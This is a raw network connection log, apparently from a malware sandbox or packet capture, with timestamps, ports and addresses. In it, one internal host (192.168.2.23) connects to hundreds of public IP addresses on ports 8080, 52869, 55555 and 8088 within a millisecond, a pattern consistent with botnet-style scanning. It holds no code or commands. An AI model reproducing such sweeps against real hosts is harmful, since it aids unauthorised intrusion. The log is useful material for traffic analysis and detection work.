Mar 21, 2024 05:25:10.945703983 CET	11976	8080	192.168.2.23	189.55.207.61
Mar 21, 2024 05:25:10.945703983 CET	11976	8080	192.168.2.23	189.231.117.198
Mar 21, 2024 05:25:10.945704937 CET	11976	8080	192.168.2.23	201.40.30.185
Mar 21, 2024 05:25:10.945717096 CET	11976	8080	192.168.2.23	187.163.134.195
Mar 21, 2024 05:25:10.945718050 CET	11976	8080	192.168.2.23	201.31.87.68
Mar 21, 2024 05:25:10.945719004 CET	11976	8080	192.168.2.23	187.80.187.245
Mar 21, 2024 05:25:10.945719004 CET	11976	8080	192.168.2.23	189.134.197.75
Mar 21, 2024 05:25:10.945725918 CET	11976	8080	192.168.2.23	189.56.206.38
Mar 21, 2024 05:25:10.945725918 CET	11976	8080	192.168.2.23	189.255.142.178
Mar 21, 2024 05:25:10.945739985 CET	11976	8080	192.168.2.23	187.41.66.134
Mar 21, 2024 05:25:10.945749044 CET	11976	8080	192.168.2.23	201.100.142.220
Mar 21, 2024 05:25:10.945749044 CET	11976	8080	192.168.2.23	189.237.100.55
Mar 21, 2024 05:25:10.945749998 CET	11976	8080	192.168.2.23	201.241.222.47
Mar 21, 2024 05:25:10.945749044 CET	11976	8080	192.168.2.23	201.240.130.92
Mar 21, 2024 05:25:10.945760965 CET	4296	52869	192.168.2.23	177.193.80.215
Mar 21, 2024 05:25:10.945760965 CET	4296	52869	192.168.2.23	14.188.17.189
Mar 21, 2024 05:25:10.945760965 CET	4296	52869	192.168.2.23	207.52.148.163
Mar 21, 2024 05:25:10.945760965 CET	11976	8080	192.168.2.23	201.7.198.149
Mar 21, 2024 05:25:10.945760965 CET	11976	8080	192.168.2.23	189.57.234.13
Mar 21, 2024 05:25:10.945760965 CET	11976	8080	192.168.2.23	201.200.113.174
Mar 21, 2024 05:25:10.945760965 CET	11976	8080	192.168.2.23	189.193.11.133
Mar 21, 2024 05:25:10.945760965 CET	11976	8080	192.168.2.23	189.21.218.65
Mar 21, 2024 05:25:10.945769072 CET	11976	8080	192.168.2.23	189.137.244.154
Mar 21, 2024 05:25:10.945776939 CET	11976	8080	192.168.2.23	189.103.85.129
Mar 21, 2024 05:25:10.945786953 CET	11976	8080	192.168.2.23	189.249.75.12
Mar 21, 2024 05:25:10.945790052 CET	11976	8080	192.168.2.23	187.64.36.223
Mar 21, 2024 05:25:10.945790052 CET	11976	8080	192.168.2.23	187.11.26.216
Mar 21, 2024 05:25:10.945790052 CET	11976	8080	192.168.2.23	189.212.65.10
Mar 21, 2024 05:25:10.945790052 CET	11976	8080	192.168.2.23	201.110.132.1
Mar 21, 2024 05:25:10.945800066 CET	11976	8080	192.168.2.23	189.115.16.230
Mar 21, 2024 05:25:10.945804119 CET	11976	8080	192.168.2.23	201.23.105.112
Mar 21, 2024 05:25:10.945802927 CET	11976	8080	192.168.2.23	201.24.84.29
Mar 21, 2024 05:25:10.945802927 CET	11976	8080	192.168.2.23	189.218.49.217
Mar 21, 2024 05:25:10.945802927 CET	11976	8080	192.168.2.23	201.99.145.44
Mar 21, 2024 05:25:10.945802927 CET	11976	8080	192.168.2.23	189.29.244.7
Mar 21, 2024 05:25:10.945804119 CET	11976	8080	192.168.2.23	189.243.47.112
Mar 21, 2024 05:25:10.945804119 CET	11976	8080	192.168.2.23	201.194.215.210
Mar 21, 2024 05:25:10.945804119 CET	11976	8080	192.168.2.23	201.149.126.36
Mar 21, 2024 05:25:10.945804119 CET	11976	8080	192.168.2.23	187.127.47.72
Mar 21, 2024 05:25:10.945811987 CET	11976	8080	192.168.2.23	187.100.8.37
Mar 21, 2024 05:25:10.945818901 CET	11976	8080	192.168.2.23	189.138.44.27
Mar 21, 2024 05:25:10.945821047 CET	11976	8080	192.168.2.23	201.245.222.73
Mar 21, 2024 05:25:10.945826054 CET	11976	8080	192.168.2.23	187.56.28.100
Mar 21, 2024 05:25:10.945826054 CET	11976	8080	192.168.2.23	187.215.138.113
Mar 21, 2024 05:25:10.945837975 CET	11976	8080	192.168.2.23	201.148.164.212
Mar 21, 2024 05:25:10.945846081 CET	11976	8080	192.168.2.23	201.224.70.43
Mar 21, 2024 05:25:10.945847988 CET	11976	8080	192.168.2.23	189.73.120.182
Mar 21, 2024 05:25:10.945853949 CET	11976	8080	192.168.2.23	201.133.88.150
Mar 21, 2024 05:25:10.945853949 CET	11976	8080	192.168.2.23	189.121.248.58
Mar 21, 2024 05:25:10.945853949 CET	11976	8080	192.168.2.23	187.60.118.245
Mar 21, 2024 05:25:10.945858002 CET	11976	8080	192.168.2.23	187.149.64.205
Mar 21, 2024 05:25:10.945864916 CET	11976	8080	192.168.2.23	189.187.197.174
Mar 21, 2024 05:25:10.945868015 CET	11976	8080	192.168.2.23	189.81.158.87
Mar 21, 2024 05:25:10.945878029 CET	11976	8080	192.168.2.23	201.115.203.209
Mar 21, 2024 05:25:10.945883989 CET	11976	8080	192.168.2.23	189.205.163.54
Mar 21, 2024 05:25:10.945890903 CET	11976	8080	192.168.2.23	189.156.161.10
Mar 21, 2024 05:25:10.945895910 CET	11976	8080	192.168.2.23	189.229.73.64
Mar 21, 2024 05:25:10.945895910 CET	11976	8080	192.168.2.23	187.41.93.12
Mar 21, 2024 05:25:10.945899963 CET	11976	8080	192.168.2.23	187.70.208.34
Mar 21, 2024 05:25:10.945904970 CET	11976	8080	192.168.2.23	189.0.42.40
Mar 21, 2024 05:25:10.946213007 CET	5064	55555	192.168.2.23	98.46.78.182
Mar 21, 2024 05:25:10.946222067 CET	5064	55555	192.168.2.23	98.222.246.184
Mar 21, 2024 05:25:10.946224928 CET	5064	55555	192.168.2.23	172.124.33.191
Mar 21, 2024 05:25:10.946233988 CET	5064	55555	192.168.2.23	98.136.81.180
Mar 21, 2024 05:25:10.946243048 CET	5064	55555	192.168.2.23	184.218.231.21
Mar 21, 2024 05:25:10.946244955 CET	5064	55555	192.168.2.23	98.248.79.116
Mar 21, 2024 05:25:10.946247101 CET	5064	55555	192.168.2.23	98.150.231.76
Mar 21, 2024 05:25:10.946248055 CET	5064	55555	192.168.2.23	172.212.187.102
Mar 21, 2024 05:25:10.946259975 CET	5064	55555	192.168.2.23	172.205.90.15
Mar 21, 2024 05:25:10.946265936 CET	5064	55555	192.168.2.23	98.162.15.188
Mar 21, 2024 05:25:10.946269989 CET	5064	55555	192.168.2.23	98.210.167.30
Mar 21, 2024 05:25:10.946275949 CET	5064	55555	192.168.2.23	184.239.83.203
Mar 21, 2024 05:25:10.946275949 CET	5064	55555	192.168.2.23	184.187.20.171
Mar 21, 2024 05:25:10.946280956 CET	5064	55555	192.168.2.23	184.207.24.183
Mar 21, 2024 05:25:10.946280956 CET	5064	55555	192.168.2.23	98.241.242.49
Mar 21, 2024 05:25:10.946280956 CET	5064	55555	192.168.2.23	172.224.126.20
Mar 21, 2024 05:25:10.946289062 CET	5064	55555	192.168.2.23	98.230.180.89
Mar 21, 2024 05:25:10.946289062 CET	5064	55555	192.168.2.23	184.49.93.32
Mar 21, 2024 05:25:10.946290970 CET	5064	55555	192.168.2.23	172.213.132.187
Mar 21, 2024 05:25:10.946290970 CET	5064	55555	192.168.2.23	98.255.202.20
Mar 21, 2024 05:25:10.946295977 CET	5064	55555	192.168.2.23	98.120.79.34
Mar 21, 2024 05:25:10.946299076 CET	5064	55555	192.168.2.23	172.33.223.45
Mar 21, 2024 05:25:10.946302891 CET	5064	55555	192.168.2.23	184.4.127.209
Mar 21, 2024 05:25:10.946302891 CET	5064	55555	192.168.2.23	172.26.148.18
Mar 21, 2024 05:25:10.946302891 CET	5064	55555	192.168.2.23	184.55.231.179
Mar 21, 2024 05:25:10.946305990 CET	5064	55555	192.168.2.23	184.130.38.196
Mar 21, 2024 05:25:10.946316004 CET	5064	55555	192.168.2.23	98.224.233.45
Mar 21, 2024 05:25:10.946316957 CET	5064	55555	192.168.2.23	98.213.227.20
Mar 21, 2024 05:25:10.946319103 CET	5064	55555	192.168.2.23	98.40.217.224
Mar 21, 2024 05:25:10.946320057 CET	5064	55555	192.168.2.23	184.83.22.60
Mar 21, 2024 05:25:10.946322918 CET	5064	55555	192.168.2.23	172.152.234.62
Mar 21, 2024 05:25:10.946322918 CET	5064	55555	192.168.2.23	184.62.227.15
Mar 21, 2024 05:25:10.946326971 CET	5064	55555	192.168.2.23	98.236.110.105
Mar 21, 2024 05:25:10.946329117 CET	5064	55555	192.168.2.23	172.26.198.94
Mar 21, 2024 05:25:10.946341991 CET	5064	55555	192.168.2.23	172.77.227.177
Mar 21, 2024 05:25:10.946341991 CET	5064	55555	192.168.2.23	98.170.198.14
Mar 21, 2024 05:25:10.946342945 CET	5064	55555	192.168.2.23	184.67.209.253
Mar 21, 2024 05:25:10.946342945 CET	5064	55555	192.168.2.23	98.29.230.74
Mar 21, 2024 05:25:10.946343899 CET	5064	55555	192.168.2.23	172.244.66.227
Mar 21, 2024 05:25:10.946342945 CET	5064	55555	192.168.2.23	98.113.48.194
Mar 21, 2024 05:25:10.946342945 CET	5064	55555	192.168.2.23	172.149.60.226
Mar 21, 2024 05:25:10.946342945 CET	5064	55555	192.168.2.23	172.34.138.212
Mar 21, 2024 05:25:10.946357965 CET	5064	55555	192.168.2.23	184.182.220.242
Mar 21, 2024 05:25:10.946362019 CET	5064	55555	192.168.2.23	172.67.246.107
Mar 21, 2024 05:25:10.946362019 CET	5064	55555	192.168.2.23	184.50.19.29
Mar 21, 2024 05:25:10.946362019 CET	5064	55555	192.168.2.23	98.60.1.87
Mar 21, 2024 05:25:10.946363926 CET	5064	55555	192.168.2.23	184.251.10.126
Mar 21, 2024 05:25:10.946365118 CET	5064	55555	192.168.2.23	184.216.255.33
Mar 21, 2024 05:25:10.946365118 CET	5064	55555	192.168.2.23	98.137.76.116
Mar 21, 2024 05:25:10.946362019 CET	5064	55555	192.168.2.23	184.89.6.213
Mar 21, 2024 05:25:10.946365118 CET	5064	55555	192.168.2.23	184.27.216.205
Mar 21, 2024 05:25:10.946365118 CET	5064	55555	192.168.2.23	184.26.242.80
Mar 21, 2024 05:25:10.946362019 CET	5064	55555	192.168.2.23	184.229.136.61
Mar 21, 2024 05:25:10.946365118 CET	5064	55555	192.168.2.23	172.67.175.249
Mar 21, 2024 05:25:10.946371078 CET	5064	55555	192.168.2.23	172.59.201.68
Mar 21, 2024 05:25:10.946365118 CET	5064	55555	192.168.2.23	98.174.28.145
Mar 21, 2024 05:25:10.946371078 CET	5064	55555	192.168.2.23	98.44.59.187
Mar 21, 2024 05:25:10.946387053 CET	5064	55555	192.168.2.23	172.158.182.208
Mar 21, 2024 05:25:10.946387053 CET	5064	55555	192.168.2.23	98.201.172.141
Mar 21, 2024 05:25:10.946388960 CET	5064	55555	192.168.2.23	98.73.209.217
Mar 21, 2024 05:25:10.946391106 CET	5064	55555	192.168.2.23	172.83.51.48
Mar 21, 2024 05:25:10.946391106 CET	5064	55555	192.168.2.23	184.102.108.153
Mar 21, 2024 05:25:10.946391106 CET	5064	55555	192.168.2.23	184.153.229.223
Mar 21, 2024 05:25:10.946391106 CET	5064	55555	192.168.2.23	172.118.36.82
Mar 21, 2024 05:25:10.946391106 CET	5064	55555	192.168.2.23	172.113.194.95
Mar 21, 2024 05:25:10.946394920 CET	5064	55555	192.168.2.23	184.168.42.249
Mar 21, 2024 05:25:10.946394920 CET	5064	55555	192.168.2.23	98.33.232.86
Mar 21, 2024 05:25:10.946394920 CET	5064	55555	192.168.2.23	172.179.129.89
Mar 21, 2024 05:25:10.946398973 CET	5064	55555	192.168.2.23	184.14.113.26
Mar 21, 2024 05:25:10.946404934 CET	5064	55555	192.168.2.23	172.142.141.142
Mar 21, 2024 05:25:10.946404934 CET	5064	55555	192.168.2.23	184.247.123.213
Mar 21, 2024 05:25:10.946405888 CET	5064	55555	192.168.2.23	184.210.157.63
Mar 21, 2024 05:25:10.946407080 CET	5064	55555	192.168.2.23	172.91.25.42
Mar 21, 2024 05:25:10.946407080 CET	5064	55555	192.168.2.23	184.215.224.30
Mar 21, 2024 05:25:10.946407080 CET	5064	55555	192.168.2.23	184.11.99.123
Mar 21, 2024 05:25:10.946407080 CET	5064	55555	192.168.2.23	172.102.142.122
Mar 21, 2024 05:25:10.946409941 CET	5064	55555	192.168.2.23	172.17.253.172
Mar 21, 2024 05:25:10.946410894 CET	5064	55555	192.168.2.23	172.145.247.118
Mar 21, 2024 05:25:10.946410894 CET	5064	55555	192.168.2.23	98.7.31.247
Mar 21, 2024 05:25:10.946420908 CET	5064	55555	192.168.2.23	172.215.214.70
Mar 21, 2024 05:25:10.946423054 CET	5064	55555	192.168.2.23	184.38.29.193
Mar 21, 2024 05:25:10.946441889 CET	5064	55555	192.168.2.23	184.141.109.186
Mar 21, 2024 05:25:10.946445942 CET	5064	55555	192.168.2.23	184.21.155.145
Mar 21, 2024 05:25:10.946445942 CET	5064	55555	192.168.2.23	184.65.148.146
Mar 21, 2024 05:25:10.946445942 CET	5064	55555	192.168.2.23	172.228.116.208
Mar 21, 2024 05:25:10.946450949 CET	5064	55555	192.168.2.23	172.136.123.190
Mar 21, 2024 05:25:10.946455002 CET	5064	55555	192.168.2.23	172.18.172.203
Mar 21, 2024 05:25:10.946455956 CET	5064	55555	192.168.2.23	98.161.17.1
Mar 21, 2024 05:25:10.946456909 CET	5064	55555	192.168.2.23	184.217.238.164
Mar 21, 2024 05:25:10.946459055 CET	5064	55555	192.168.2.23	172.57.3.150
Mar 21, 2024 05:25:10.946461916 CET	5064	55555	192.168.2.23	184.5.127.233
Mar 21, 2024 05:25:10.946470022 CET	5064	55555	192.168.2.23	172.142.114.173
Mar 21, 2024 05:25:10.946481943 CET	5064	55555	192.168.2.23	184.230.89.152
Mar 21, 2024 05:25:10.946482897 CET	5064	55555	192.168.2.23	98.228.44.35
Mar 21, 2024 05:25:10.946482897 CET	5064	55555	192.168.2.23	98.202.70.152
Mar 21, 2024 05:25:10.946486950 CET	5064	55555	192.168.2.23	172.138.68.65
Mar 21, 2024 05:25:10.946490049 CET	5064	55555	192.168.2.23	98.70.32.8
Mar 21, 2024 05:25:10.946497917 CET	5064	55555	192.168.2.23	172.50.108.164
Mar 21, 2024 05:25:10.946497917 CET	5064	55555	192.168.2.23	184.124.180.147
Mar 21, 2024 05:25:10.946499109 CET	5064	55555	192.168.2.23	172.94.251.173
Mar 21, 2024 05:25:10.946506023 CET	5064	55555	192.168.2.23	172.83.234.98
Mar 21, 2024 05:25:10.946506977 CET	5832	8088	192.168.2.23	120.6.78.182
Mar 21, 2024 05:25:10.946507931 CET	5064	55555	192.168.2.23	98.41.13.218
Mar 21, 2024 05:25:10.946511984 CET	5064	55555	192.168.2.23	184.103.66.93
Mar 21, 2024 05:25:10.946513891 CET	5832	8088	192.168.2.23	184.222.246.184
Mar 21, 2024 05:25:10.946521997 CET	5064	55555	192.168.2.23	184.215.19.244
Mar 21, 2024 05:25:10.946522951 CET	5064	55555	192.168.2.23	172.230.154.10
Mar 21, 2024 05:25:10.946522951 CET	5832	8088	192.168.2.23	117.95.43.191
Mar 21, 2024 05:25:10.946527958 CET	5064	55555	192.168.2.23	98.191.240.127
Mar 21, 2024 05:25:10.946522951 CET	5064	55555	192.168.2.23	184.109.29.68
Mar 21, 2024 05:25:10.946533918 CET	5064	55555	192.168.2.23	184.1.23.182
Mar 21, 2024 05:25:10.946541071 CET	5064	55555	192.168.2.23	172.198.42.220
Mar 21, 2024 05:25:10.946541071 CET	5064	55555	192.168.2.23	172.242.105.237
Mar 21, 2024 05:25:10.946547985 CET	5064	55555	192.168.2.23	98.76.93.127
Mar 21, 2024 05:25:10.946547985 CET	5832	8088	192.168.2.23	116.170.27.181
Mar 21, 2024 05:25:10.946547985 CET	5064	55555	192.168.2.23	98.0.188.192
Mar 21, 2024 05:25:10.946556091 CET	5064	55555	192.168.2.23	98.63.225.69
Mar 21, 2024 05:25:10.946557999 CET	5064	55555	192.168.2.23	184.83.134.127
Mar 21, 2024 05:25:10.946562052 CET	5064	55555	192.168.2.23	184.143.187.25
Mar 21, 2024 05:25:10.946562052 CET	5064	55555	192.168.2.23	172.38.104.10
Mar 21, 2024 05:25:10.946567059 CET	5832	8088	192.168.2.23	109.205.62.111
Mar 21, 2024 05:25:10.946567059 CET	5064	55555	192.168.2.23	184.147.206.135
Mar 21, 2024 05:25:10.946567059 CET	5064	55555	192.168.2.23	98.88.212.68
Mar 21, 2024 05:25:10.946568012 CET	5064	55555	192.168.2.23	184.80.138.172
Mar 21, 2024 05:25:10.946569920 CET	5832	8088	192.168.2.23	201.219.251.75
Mar 21, 2024 05:25:10.946569920 CET	5832	8088	192.168.2.23	183.199.0.238
Mar 21, 2024 05:25:10.946574926 CET	5832	8088	192.168.2.23	151.117.24.251
Mar 21, 2024 05:25:10.946577072 CET	5064	55555	192.168.2.23	98.30.183.86
Mar 21, 2024 05:25:10.946577072 CET	5064	55555	192.168.2.23	184.201.47.255
Mar 21, 2024 05:25:10.946587086 CET	5064	55555	192.168.2.23	98.238.160.179
Mar 21, 2024 05:25:10.946587086 CET	5064	55555	192.168.2.23	184.2.6.75
Mar 21, 2024 05:25:10.946587086 CET	5064	55555	192.168.2.23	184.129.21.169
Mar 21, 2024 05:25:10.946588993 CET	5064	55555	192.168.2.23	184.6.159.228
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	172.158.124.167
Mar 21, 2024 05:25:10.946589947 CET	5832	8088	192.168.2.23	18.60.219.5
Mar 21, 2024 05:25:10.946588993 CET	5832	8088	192.168.2.23	153.228.44.5
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	98.168.5.214
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	98.91.102.197
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	172.189.237.174
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	172.43.229.83
Mar 21, 2024 05:25:10.946599007 CET	5832	8088	192.168.2.23	78.51.57.48
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	172.85.168.241
Mar 21, 2024 05:25:10.946594000 CET	5064	55555	192.168.2.23	172.126.28.197
Mar 21, 2024 05:25:10.946594000 CET	5064	55555	192.168.2.23	172.91.78.56
Mar 21, 2024 05:25:10.946600914 CET	5832	8088	192.168.2.23	27.112.3.200
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	172.35.96.153
Mar 21, 2024 05:25:10.946594000 CET	5832	8088	192.168.2.23	103.150.111.185
Mar 21, 2024 05:25:10.946602106 CET	5064	55555	192.168.2.23	184.193.178.210
Mar 21, 2024 05:25:10.946589947 CET	5064	55555	192.168.2.23	172.51.212.214
Mar 21, 2024 05:25:10.946602106 CET	5064	55555	192.168.2.23	98.224.102.221
Mar 21, 2024 05:25:10.946602106 CET	5064	55555	192.168.2.23	184.138.25.172
Mar 21, 2024 05:25:10.946607113 CET	5064	55555	192.168.2.23	98.173.141.99
Mar 21, 2024 05:25:10.946607113 CET	5064	55555	192.168.2.23	184.94.39.11
Mar 21, 2024 05:25:10.946607113 CET	5064	55555	192.168.2.23	172.158.89.72
Mar 21, 2024 05:25:10.946607113 CET	5064	55555	192.168.2.23	184.106.6.42
Mar 21, 2024 05:25:10.946619987 CET	5064	55555	192.168.2.23	98.94.140.212
Mar 21, 2024 05:25:10.946624994 CET	5832	8088	192.168.2.23	149.126.44.154
Mar 21, 2024 05:25:10.946625948 CET	5832	8088	192.168.2.23	101.173.139.186
Mar 21, 2024 05:25:10.946625948 CET	5064	55555	192.168.2.23	184.225.44.53
Mar 21, 2024 05:25:10.946625948 CET	5064	55555	192.168.2.23	172.50.44.48
Mar 21, 2024 05:25:10.946630001 CET	5064	55555	192.168.2.23	184.254.47.84
Mar 21, 2024 05:25:10.946630001 CET	5832	8088	192.168.2.23	20.122.156.148
Mar 21, 2024 05:25:10.946630001 CET	5064	55555	192.168.2.23	172.154.148.161
Mar 21, 2024 05:25:10.946630001 CET	5832	8088	192.168.2.23	210.201.235.52
Mar 21, 2024 05:25:10.946638107 CET	5064	55555	192.168.2.23	172.55.67.116
Mar 21, 2024 05:25:10.946639061 CET	5064	55555	192.168.2.23	184.48.28.90
Mar 21, 2024 05:25:10.946639061 CET	5064	55555	192.168.2.23	98.68.66.72
Mar 21, 2024 05:25:10.946640015 CET	5064	55555	192.168.2.23	98.137.53.109
Mar 21, 2024 05:25:10.946639061 CET	5832	8088	192.168.2.23	49.133.111.110
Mar 21, 2024 05:25:10.946641922 CET	5064	55555	192.168.2.23	184.215.254.230
Mar 21, 2024 05:25:10.946641922 CET	5064	55555	192.168.2.23	172.92.235.11
Mar 21, 2024 05:25:10.946641922 CET	5064	55555	192.168.2.23	184.193.249.155
Mar 21, 2024 05:25:10.946641922 CET	5832	8088	192.168.2.23	142.109.10.197
Mar 21, 2024 05:25:10.946645975 CET	5064	55555	192.168.2.23	184.183.8.13
Mar 21, 2024 05:25:10.946640015 CET	5064	55555	192.168.2.23	98.119.254.138
Mar 21, 2024 05:25:10.946641922 CET	5832	8088	192.168.2.23	189.239.185.178
Mar 21, 2024 05:25:10.946640015 CET	5064	55555	192.168.2.23	184.187.87.7
Mar 21, 2024 05:25:10.946643114 CET	5064	55555	192.168.2.23	172.23.127.185
Mar 21, 2024 05:25:10.946650982 CET	5064	55555	192.168.2.23	184.157.12.231
Mar 21, 2024 05:25:10.946645975 CET	5064	55555	192.168.2.23	184.43.103.18
Mar 21, 2024 05:25:10.946650982 CET	5064	55555	192.168.2.23	98.36.31.26
Mar 21, 2024 05:25:10.946654081 CET	5064	55555	192.168.2.23	172.192.234.233
Mar 21, 2024 05:25:10.946659088 CET	5832	8088	192.168.2.23	75.196.131.167
Mar 21, 2024 05:25:10.946659088 CET	5064	55555	192.168.2.23	98.5.255.221
Mar 21, 2024 05:25:10.946660995 CET	5064	55555	192.168.2.23	184.30.132.251
Mar 21, 2024 05:25:10.946671963 CET	5064	55555	192.168.2.23	98.143.235.203
Mar 21, 2024 05:25:10.946671963 CET	5064	55555	192.168.2.23	98.30.171.74
Mar 21, 2024 05:25:10.946671963 CET	5832	8088	192.168.2.23	133.144.142.187
Mar 21, 2024 05:25:10.946676016 CET	5064	55555	192.168.2.23	184.237.117.124
Mar 21, 2024 05:25:10.946676016 CET	5832	8088	192.168.2.23	209.44.230.240
Mar 21, 2024 05:25:10.946676016 CET	5832	8088	192.168.2.23	52.220.154.206
Mar 21, 2024 05:25:10.946680069 CET	5064	55555	192.168.2.23	98.125.117.197
Mar 21, 2024 05:25:10.946680069 CET	5064	55555	192.168.2.23	184.138.52.107
Mar 21, 2024 05:25:10.946682930 CET	5064	55555	192.168.2.23	172.101.78.127
Mar 21, 2024 05:25:10.946682930 CET	5064	55555	192.168.2.23	172.27.121.57
Mar 21, 2024 05:25:10.946691036 CET	5832	8088	192.168.2.23	13.65.139.126
Mar 21, 2024 05:25:10.946691036 CET	5064	55555	192.168.2.23	98.211.89.15
Mar 21, 2024 05:25:10.946691036 CET	5064	55555	192.168.2.23	184.230.103.187
Mar 21, 2024 05:25:10.946691036 CET	5064	55555	192.168.2.23	184.177.132.181
Mar 21, 2024 05:25:10.946691036 CET	5832	8088	192.168.2.23	85.42.54.133
Mar 21, 2024 05:25:10.946701050 CET	5832	8088	192.168.2.23	154.16.8.254
Mar 21, 2024 05:25:10.946701050 CET	5832	8088	192.168.2.23	181.231.246.230
Mar 21, 2024 05:25:10.946708918 CET	5064	55555	192.168.2.23	98.119.95.32
Mar 21, 2024 05:25:10.946708918 CET	5064	55555	192.168.2.23	172.145.238.192
Mar 21, 2024 05:25:10.946708918 CET	5064	55555	192.168.2.23	184.177.85.173
Mar 21, 2024 05:25:10.946718931 CET	5064	55555	192.168.2.23	184.108.106.139
Mar 21, 2024 05:25:10.946729898 CET	5064	55555	192.168.2.23	172.108.60.179
Mar 21, 2024 05:25:10.946729898 CET	5064	55555	192.168.2.23	98.114.28.81
Mar 21, 2024 05:25:10.946732998 CET	5064	55555	192.168.2.23	184.241.245.208
Mar 21, 2024 05:25:10.946732998 CET	5832	8088	192.168.2.23	84.164.145.0
Mar 21, 2024 05:25:10.946732998 CET	5064	55555	192.168.2.23	184.180.229.2
Mar 21, 2024 05:25:10.946734905 CET	5064	55555	192.168.2.23	98.146.27.183
Mar 21, 2024 05:25:10.946732998 CET	5832	8088	192.168.2.23	36.172.59.32
Mar 21, 2024 05:25:10.946734905 CET	5832	8088	192.168.2.23	184.185.5.88
Mar 21, 2024 05:25:10.946736097 CET	5064	55555	192.168.2.23	184.144.219.138
Mar 21, 2024 05:25:10.946741104 CET	5832	8088	192.168.2.23	145.128.76.221
Mar 21, 2024 05:25:10.946743965 CET	5064	55555	192.168.2.23	184.206.67.153
Mar 21, 2024 05:25:10.946736097 CET	5064	55555	192.168.2.23	98.113.193.210
Mar 21, 2024 05:25:10.946734905 CET	5064	55555	192.168.2.23	98.230.6.244
Mar 21, 2024 05:25:10.946743965 CET	5064	55555	192.168.2.23	184.184.165.186
Mar 21, 2024 05:25:10.946736097 CET	5064	55555	192.168.2.23	98.87.75.177
Mar 21, 2024 05:25:10.946744919 CET	5064	55555	192.168.2.23	184.53.93.238
Mar 21, 2024 05:25:10.946743965 CET	5832	8088	192.168.2.23	132.41.71.177
Mar 21, 2024 05:25:10.946743965 CET	5832	8088	192.168.2.23	2.27.127.59
Mar 21, 2024 05:25:10.946744919 CET	5064	55555	192.168.2.23	172.69.99.190
Mar 21, 2024 05:25:10.946743965 CET	5832	8088	192.168.2.23	32.167.235.41
Mar 21, 2024 05:25:10.946736097 CET	5064	55555	192.168.2.23	98.241.193.221
Mar 21, 2024 05:25:10.946743965 CET	5064	55555	192.168.2.23	98.174.99.194
Mar 21, 2024 05:25:10.946751118 CET	5832	8088	192.168.2.23	116.230.181.228
Mar 21, 2024 05:25:10.946743965 CET	5832	8088	192.168.2.23	88.48.74.79
Mar 21, 2024 05:25:10.946744919 CET	5064	55555	192.168.2.23	184.252.245.223
Mar 21, 2024 05:25:10.946743965 CET	5064	55555	192.168.2.23	172.232.5.208
Mar 21, 2024 05:25:10.946746111 CET	5064	55555	192.168.2.23	172.210.46.116
Mar 21, 2024 05:25:10.946769953 CET	5064	55555	192.168.2.23	184.49.129.198
Mar 21, 2024 05:25:10.946769953 CET	5064	55555	192.168.2.23	172.61.45.98
Mar 21, 2024 05:25:10.946769953 CET	5064	55555	192.168.2.23	172.121.85.47
Mar 21, 2024 05:25:10.946769953 CET	5064	55555	192.168.2.23	184.87.116.12
Mar 21, 2024 05:25:10.946775913 CET	5832	8088	192.168.2.23	25.251.253.51
Mar 21, 2024 05:25:10.946779013 CET	5064	55555	192.168.2.23	184.228.212.197
Mar 21, 2024 05:25:10.946780920 CET	5832	8088	192.168.2.23	81.47.32.116
Mar 21, 2024 05:25:10.946780920 CET	5064	55555	192.168.2.23	172.198.87.247
Mar 21, 2024 05:25:10.946784973 CET	5064	55555	192.168.2.23	98.71.83.131
Mar 21, 2024 05:25:10.946784973 CET	5064	55555	192.168.2.23	98.163.173.234
Mar 21, 2024 05:25:10.946784973 CET	5064	55555	192.168.2.23	184.215.255.78
Mar 21, 2024 05:25:10.946788073 CET	5832	8088	192.168.2.23	86.107.209.154
Mar 21, 2024 05:25:10.946788073 CET	5064	55555	192.168.2.23	184.15.47.132
Mar 21, 2024 05:25:10.946788073 CET	5064	55555	192.168.2.23	98.48.61.129
Mar 21, 2024 05:25:10.946794033 CET	5064	55555	192.168.2.23	172.10.242.48
Mar 21, 2024 05:25:10.946795940 CET	5064	55555	192.168.2.23	172.157.188.148
Mar 21, 2024 05:25:10.946795940 CET	5064	55555	192.168.2.23	172.165.53.93
Mar 21, 2024 05:25:10.946796894 CET	5064	55555	192.168.2.23	98.239.155.190
Mar 21, 2024 05:25:10.946796894 CET	5064	55555	192.168.2.23	98.157.187.248
Mar 21, 2024 05:25:10.946798086 CET	5064	55555	192.168.2.23	98.172.145.33
Mar 21, 2024 05:25:10.946805954 CET	5064	55555	192.168.2.23	172.51.159.59
Mar 21, 2024 05:25:10.946805954 CET	5064	55555	192.168.2.23	184.66.76.121
Mar 21, 2024 05:25:10.946816921 CET	5832	8088	192.168.2.23	32.175.64.191
Mar 21, 2024 05:25:10.946820021 CET	5832	8088	192.168.2.23	122.114.217.27
Mar 21, 2024 05:25:10.946821928 CET	5064	55555	192.168.2.23	172.240.160.218
Mar 21, 2024 05:25:10.946826935 CET	5832	8088	192.168.2.23	14.60.133.254
Mar 21, 2024 05:25:10.946839094 CET	5064	55555	192.168.2.23	184.39.182.124
Mar 21, 2024 05:25:10.946846962 CET	5064	55555	192.168.2.23	172.248.30.58
Mar 21, 2024 05:25:10.946851969 CET	5064	55555	192.168.2.23	172.27.21.71
Mar 21, 2024 05:25:10.946855068 CET	5064	55555	192.168.2.23	184.247.1.86
Mar 21, 2024 05:25:10.946857929 CET	5064	55555	192.168.2.23	184.37.168.241
Mar 21, 2024 05:25:10.946872950 CET	5064	55555	192.168.2.23	184.245.213.16
Mar 21, 2024 05:25:10.946877956 CET	5064	55555	192.168.2.23	98.119.19.41
Mar 21, 2024 05:25:10.946881056 CET	5064	55555	192.168.2.23	184.54.90.100
Mar 21, 2024 05:25:10.946881056 CET	5064	55555	192.168.2.23	98.40.175.97
Mar 21, 2024 05:25:10.946882963 CET	5064	55555	192.168.2.23	172.67.56.142
Mar 21, 2024 05:25:10.946898937 CET	5064	55555	192.168.2.23	184.255.164.244
Mar 21, 2024 05:25:10.946898937 CET	5064	55555	192.168.2.23	184.162.47.166
Mar 21, 2024 05:25:10.946913004 CET	5064	55555	192.168.2.23	184.18.248.77
Mar 21, 2024 05:25:10.946917057 CET	5064	55555	192.168.2.23	98.96.160.213
